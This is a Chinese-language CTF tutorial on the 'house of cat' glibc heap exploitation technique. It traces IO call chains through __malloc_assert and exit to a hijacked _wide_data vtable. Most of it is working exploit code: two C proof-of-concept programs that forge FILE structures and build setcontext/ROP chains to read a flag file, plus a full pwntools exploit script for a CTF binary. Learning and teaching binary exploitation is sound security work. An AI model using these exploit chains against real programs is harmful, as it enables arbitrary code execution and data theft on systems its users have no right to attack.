利用条件:
- 泄漏 libc 和 heap 基地址
- 任意写一次堆地址(largebin attack 等攻击)
- 能够触发 IO 链
在介绍 house of cat 之前,笔者将带大家梳理一下目前常用的两种触发 IO 链调用的方法。
调用链如图:
__malloc_assert 正常情况下会调用 stderr->vtable.__xsputn
经过调试可以发现,程序最后会断在 __vfxprintf 函数中,通过查看汇编可以发现,因为 rdi = 0,所以 [rdi + 8] 这里就会异常。而通过回溯,可以发现 rdi 来自于 [rbx + 0x88],而 rbx 的值就是我们伪造的 fake_io 的地址,+0x88 就是字段 _lock 的偏移。
这里通过源码可以看出,其中 _IO_fwide 就是取 fp -> _mode,所以为了进入 __vfprintf_internal 函数,fp -> _mode 应当小于等于 0
可以看到 exit 函数最后会调用 _IO_flush_all_lockp 去刷新 _IO_list_all 链表上的 IO_FILE
这里是个 if 判断,总的来看就是 A && _IO_OVERFLOW,所以要想执行 _IO_OVERFLOW 就得让 A 为真。
而 A 又可以看成 B || C,所以要让 A 为真,只需要 B 为真或者 C 为真即可。
我们来看下 B:fp->_mode <=0 && fp->_IO_write_ptr > fp->_IO_write_base,所以需要让 fp->_mode <=0 并且 _IO_write_ptr 大于 _IO_write_base。
C 的话就是同理了,就没啥好说的了,满足条件就行了,_vtable_offset = 0,_mode > 0,_wide_data->_IO_write_ptr > _wide_data->_IO_write_base。
在虚表段存在一个叫做 _IO_wfile_jumps 的虚表:
其中有个叫做 __seekoff 的字段,默认情况下其指向的函数是 _IO_wfile_seekoff,其在满足一定条件时会调用 _IO_switch_to_wget_mode 函数。
这里的 mode 在 __malloc_assert 触发下就算是也ok;但是在 exit 触发下就不行了。所以这里还是伪造一下 _mode 大于0比较好。
想要调用 _IO_switch_to_wget_mode,就得让 was_writing 为真。这是就不用说了,让 _wide_data->_IO_write_ptr 大于 _wide_data->_IO_write_base 即可。
不知道你有没有发现这里的 _wide_data->_IO_write_ptr 大于 _wide_data->_IO_write_base 与 exit 触发 IO 链的 C 条件不谋而合。所以这也使得利用 exit 进行触发成为了可能。
在 _IO_switch_to_wget_mode 中会满足一定条件会调用 _wide_data 虚表中的 IO_OVERFLOW 函数。而对 _wide_data 中的虚表是没有合法性检查的,所以我们可以伪造 _wide_data 的虚表从而去劫持程序执行流。
这里的条件是不是很熟悉:_wide_data->_IO_write_ptr 大于 _wide_data->_IO_write_base
所以整个调用链其实就分析完成了
poc.c:其中的偏移请根据自己的环境去设置
#include
#include
int main()
{
setvbuf(stdin,NULL,_IONBF,0);
setvbuf(stdout,NULL,_IONBF,0);
setvbuf(stderr,NULL,_IONBF,0);
size_t * ptr = malloc(0x410);
size_t heap_base = ptr - 2;
size_t libc_base = (size_t)&puts - 0x84420;
//ptr[0x410/8 + 1] = 0x55;
size_t * stderr_ = &stderr;
size_t * fake_io_addr = ptr - 2;
*stderr_ = fake_io_addr;
size_t ones[3] = { 0xe3afe, 0xe3b01, 0xe3b04 };
size_t o = libc_base + 0x10dce0;
size_t r = libc_base + 0x10dfc0;
size_t w = libc_base + 0x10e060;
size_t setcontext = libc_base + 0x54f5d;
fake_io_addr[0x88 / 8] = heap_base + 0x1000; // lock
fake_io_addr[0xd8 / 8] = libc_base + 0x1e8f60 + 0x10; // _vtable
fake_io_addr[0xa0 / 8] = heap_base + 0x100; // _wide_data
fake_io_addr[0x100 / 8 + 0x18 / 8] = 1; // rcx
fake_io_addr[0x100 / 8 + 0x20 / 8] = heap_base + 0x260; // rdx
fake_io_addr[0x100 / 8 + 0xe0 / 8] = heap_base + 0x200; // _wide_data.vtable
fake_io_addr[0x200 / 8 + 0x18 / 8] = setcontext; // rip
fake_io_addr[0x250 / 8] = libc_base + 0x0000000000023b6a; // pop rdi ; ret
fake_io_addr[0x250 / 8 + 1] = 3;
fake_io_addr[0x250 / 8 + 2] = libc_base + 0x000000000002601f; // pop rsi ; ret
fake_io_addr[0x250 / 8 + 3] = heap_base + 0x300;
fake_io_addr[0x250 / 8 + 4] = libc_base + 0x0000000000142c92; // pop rdx ; ret
fake_io_addr[0x250 / 8 + 5] = 0x40;
fake_io_addr[0x250 / 8 + 6] = r;
fake_io_addr[0x250 / 8 + 7] = libc_base + 0x0000000000023b6a; // pop rdi ; ret
fake_io_addr[0x250 / 8 + 8] = 0;
fake_io_addr[0x250 / 8 + 9] = libc_base + 0x000000000002601f; // pop rsi ; ret
fake_io_addr[0x250 / 8 + 10] = heap_base + 0x300;
fake_io_addr[0x250 / 8 + 11] = libc_base + 0x0000000000142c92; // pop rdx ; ret
fake_io_addr[0x250 / 8 + 12] = 0x40;
fake_io_addr[0x250 / 8 + 13] = w;
fake_io_addr[0x260 / 8 + 0xa0 / 8] = heap_base + 0x250; // setcontest -> rsp
fake_io_addr[0x260 / 8 + 0xa8 / 8] = o; // rcx -> ret -> open
fake_io_addr[0x260 / 8 + 0x70 / 8] = 0; // rsi -> 0
fake_io_addr[0x260 / 8 + 0x68 / 8] = heap_base + 0x400; // rdi -> flag.txt
fake_io_addr[0x260 / 8 + 0x88 / 8] = 0; // rdx -> 0
fake_io_addr[0x400 / 8] = 0x7478742e67616c66;
//fake_io_addr[0x200 / 8 + 0x18 / 8] = 0xdeadbeef; // rip
long long * ptr0 = malloc(0x418);
malloc(0x10);
long long * ptr1 = malloc(0x428);
malloc(0x10);
free(ptr1);
malloc(0x438);
size_t top_chunk_size_addr = (size_t)ptr0 + 0x410 + 0x20 + 0x430 + 0x20 + 0x440;
ptr1[3] = top_chunk_size_addr - 0x20 + 3;
free(ptr0);
malloc(0x438);
malloc(0x400);
return 0;
}
效果如下:
还记得上面的需要满足的条件吗?如果用 exit 去触发的话,我们只能去让 C 为真,因为如果 _mode 为0的话,这里会直接退出去而不会去执行 _IO_switch_to_wget_mode。
poc.c:其中的偏移请根据自己的环境去设置
#include
#include
int main()
{
setvbuf(stdin,NULL,_IONBF,0);
setvbuf(stdout,NULL,_IONBF,0);
setvbuf(stderr,NULL,_IONBF,0);
size_t * ptr = malloc(0x410);
size_t heap_base = ptr - 2;
size_t libc_base = (size_t)&puts - 0x84420;
//ptr[0x410/8 + 1] = 0x55;
size_t * IO_list_all = libc_base + 0x1ed5a0;
size_t * fake_io_addr = ptr - 2;
*IO_list_all = fake_io_addr;
size_t ones[3] = { 0xe3afe, 0xe3b01, 0xe3b04 };
size_t o = libc_base + 0x10dce0;
size_t r = libc_base + 0x10dfc0;
size_t w = libc_base + 0x10e060;
size_t setcontext = libc_base + 0x54f5d;
fake_io_addr[4] = 1;
fake_io_addr[5] = 2;
fake_io_addr[0xd8 / 8] = libc_base + 0x1e8f60 + 0x30; // _vtable
fake_io_addr[0xa0 / 8] = heap_base + 0x100; // _wide_data
fake_io_addr[0xa0 / 8 + 4] = 1; // _mode
fake_io_addr[0x100 / 8 + 0x18 / 8] = 1; // rcx
fake_io_addr[0x100 / 8 + 0x20 / 8] = heap_base + 0x260; // rdx
fake_io_addr[0x100 / 8 + 0xe0 / 8] = heap_base + 0x200; // _wide_data.vtable
fake_io_addr[0x200 / 8 + 0x18 / 8] = setcontext; // rip
//fake_io_addr[0x200 / 8 + 0x18 / 8] = libc_base + ones[0]; // rip
fake_io_addr[0x250 / 8] = libc_base + 0x0000000000023b6a; // pop rdi ; ret
fake_io_addr[0x250 / 8 + 1] = 3;
fake_io_addr[0x250 / 8 + 2] = libc_base + 0x000000000002601f; // pop rsi ; ret
fake_io_addr[0x250 / 8 + 3] = heap_base + 0x300;
fake_io_addr[0x250 / 8 + 4] = libc_base + 0x0000000000142c92; // pop rdx ; ret
fake_io_addr[0x250 / 8 + 5] = 0x40;
fake_io_addr[0x250 / 8 + 6] = r;
fake_io_addr[0x250 / 8 + 7] = libc_base + 0x0000000000023b6a; // pop rdi ; ret
fake_io_addr[0x250 / 8 + 8] = 0;
fake_io_addr[0x250 / 8 + 9] = libc_base + 0x000000000002601f; // pop rsi ; ret
fake_io_addr[0x250 / 8 + 10] = heap_base + 0x300;
fake_io_addr[0x250 / 8 + 11] = libc_base + 0x0000000000142c92; // pop rdx ; ret
fake_io_addr[0x250 / 8 + 12] = 0x40;
fake_io_addr[0x250 / 8 + 13] = w;
fake_io_addr[0x260 / 8 + 0xa0 / 8] = heap_base + 0x250; // setcontest -> rsp
fake_io_addr[0x260 / 8 + 0xa8 / 8] = o; // rcx -> ret -> open
fake_io_addr[0x260 / 8 + 0x70 / 8] = 0; // rsi -> 0
fake_io_addr[0x260 / 8 + 0x68 / 8] = heap_base + 0x400; // rdi -> flag.txt
fake_io_addr[0x260 / 8 + 0x88 / 8] = 0; // rdx -> 0
fake_io_addr[0x400 / 8] = 0x7478742e67616c66;
return 0;
}
效果如下:
就是一个模板题,没什么好说的。
需要注意的是,open 函数会默认调用 openat 系统调用,而其打开文件会失败。所以我们得用 syscall 去直接调用 open 函数。
from pwn import *
context.terminal = ['tmux', 'splitw', '-h']
context(arch = 'amd64', os = 'linux')
#context(arch = 'i386', os = 'linux')
#context.log_level = 'debug'
io = process("./pwn")
elf = ELF("./pwn")
libc = elf.libc
def debug():
gdb.attach(io)
pause()
sd = lambda s : io.send(s)
sda = lambda s, n : io.sendafter(s, n)
sl = lambda s : io.sendline(s)
sla = lambda s, n : io.sendlineafter(s, n)
rc = lambda n : io.recv(n)
rl = lambda : io.recvline()
rut = lambda s : io.recvuntil(s, drop=True)
ruf = lambda s : io.recvuntil(s, drop=False)
addr4 = lambda n : u32(io.recv(n, timeout=1).ljust(4, b'\x00'))
addr8 = lambda n : u64(io.recv(n, timeout=1).ljust(8, b'\x00'))
addr32 = lambda s : u32(io.recvuntil(s, drop=True, timeout=1).ljust(4, b'\x00'))
addr64 = lambda s : u64(io.recvuntil(s, drop=True, timeout=1).ljust(8, b'\x00'))
byte = lambda n : str(n).encode()
info = lambda s, n : print("\033[31m["+s+" -> "+str(hex(n))+"]\033[0m")
sh = lambda : io.interactive()
menu = b'plz input your cat choice:\n'
def s():
pay = b"CAT | r00t QWB $\xff\xff\xff\xff\xff\xff\xff\xffQWXF"
sla(b"mew mew mew~~~~~~\n", pay)
def add(idx, size, content, flag=True):
s()
sla(menu, b'1')
sla(b'plz input your cat idx:\n', byte(idx))
sla(b'plz input your cat size:\n', byte(size))
if flag:
sda(b'plz input your content:\n', content)
#sd(content)
def dele(idx):
s()
sla(menu, b'2')
sla(b'plz input your cat idx:\n', byte(idx))
def show(idx):
s()
sla(menu, b'3')
sla(b'plz input your cat idx:\n', byte(idx))
def edit(idx, content):
s()
sla(menu, b'4')
sla(b'plz input your cat idx:\n', byte(idx))
sda(b'plz input your content:\n', content)
def exp():
add(0, 0x418, b'A'*0x418)
add(1, 0x420, b'B'*0x420)
dele(0)
add(2, 0x420, b'C'*0x420)
add(3, 0x420, b'D'*0x420)
show(0)
rut(b'Context:\n')
libc_base = addr8(8) - 0x21a0d0
libc.address = libc_base
info("libc_base", libc_base)
rc(8)
heap_base = addr8(8)
info("heap_base", heap_base)
stderr = libc_base + 0x21a860
info("stderr", stderr)
pay = p64(0) * 4
pay = pay.ljust(0x88 - 0x10, b'\x00')
pay += p64(heap_base + 0x3000) # _lock
pay += p64(0) * 2
pay += p64(heap_base + 0xd0 + 0x10) # _wide_data
pay = pay.ljust(0xd8 - 0x10, b'\x00')
pay += p64(libc_base + 0x2160c0 + 0x10) # io_file vtable
print(hex(len(pay)))
pay += p64(0)*3 + p64(1) # _IO_write_base -> rcx
pay += p64(heap_base + 0x10 + 0x1c0 + 0xd0) # _IO_write_ptr -> rdx
pay += b'\x00'*(0xe0-0x28)
pay += p64(heap_base + 0x10 + 0x1b8 - 0x18) # _wide_data vtable
pay += p64(libc.sym.setcontext + 61) # _IO_overflow
print(hex(len(pay)))
stack = b""
stack += p64(libc_base + 0x0000000000045eb0) # pop rax ; ret
stack += p64(2)
stack += p64(libc_base + 0x000000000002a3e5) # pop_rdi
stack += p64(heap_base + 0x380 + 0x10)
stack += p64(libc_base + 0x000000000002be51) # pop_rsi
stack += p64(2)
stack += p64(libc_base + 0x000000000011f497) # pop rdx ; pop r12 ; ret
stack += p64(0)
stack += p64(0)
stack += p64(libc_base + 0x0000000000091396) # syscall; ret;
#stack += p64(libc.sym.open) # open
stack += p64(libc_base + 0x000000000002a3e5) # pop_rdi
stack += p64(0)
stack += p64(libc_base + 0x000000000002be51) # pop_rsi
stack += p64(heap_base + 0x380)
stack += p64(libc_base + 0x000000000011f497) # pop rdx ; pop r12 ; ret
stack += p64(0x40)
stack += p64(0)
stack += p64(libc.sym.read) # read
stack += p64(libc_base + 0x000000000002a3e5) # pop_rdi
stack += p64(1)
stack += p64(libc_base + 0x000000000002be51) # pop_rsi
stack += p64(heap_base + 0x380)
stack += p64(libc_base + 0x000000000011f497) # pop_rdx
stack += p64(0x40)
stack += p64(0)
stack += p64(libc.sym.write) # write
rdx_reg = b""
rdx_reg = rdx_reg.ljust(0x68, b'\x00') + p64(0)
rdx_reg += p64(0)*4
rdx_reg = rdx_reg.ljust(0xa0, b'\x00')
rdx_reg += p64(heap_base + 0x10 + 0x1c0) + p64(libc.sym.close)
print("rdx_reg: ", hex(len(rdx_reg)))
print("stack: ", hex(len(stack)))
pay = pay + stack + rdx_reg
print(hex(len(pay)))
pay = pay.ljust(0x380, b'\x00') + b"./flag.txt"
add(4, 0x418, pay.ljust(0x418, b'\x00'))
dele(2)
add(5, 0x430, b'5'*0x430)
pay = p64(libc_base + 0x21a0e0) * 2 + p64(heap_base + 0x850) + p64(stderr - 0x20)
edit(2, pay)
dele(4)
add(6, 0x430, b'F'*0x430)
add(7, 0x440, b'7'*0x440)
add(8, 0x440, b'L'*0x440)
dele(7)
add(9, 0x450, b'P'*0x450)
dele(5)
pay = p64(libc_base + 0x21a0e0) * 2 + p64(heap_base + 0x1930) + p64(heap_base + 0x2630 - 0x20 + 3)
edit(7, pay)
# debug()
add(10, 0x460, b'P'*0x460, False)
if __name__ == "__main__":
pay = b"LOGIN | r00t QWB adminQWXF"
sla(b"mew mew mew~~~~~~\n", pay)
# s()
# sla(menu, b'1')
# sla(b'plz input your cat idx:', byte(0))
# sla(b'plz input your cat size:', byte(0x418))
exp()
sh()
最后效果如下:
鲁迅先生云:学习不总结等于白学。
由于对虚表的检查,我们无法直接去修改虚表和伪造虚表,这里主要就是利用了 _wide_data 中的虚表缺乏检查并且为了性能对虚表的检查只检查了范围。所以我们完全可以劫持原来的虚表为虚表段中的任意虚表,从而去寻址相关攻击链。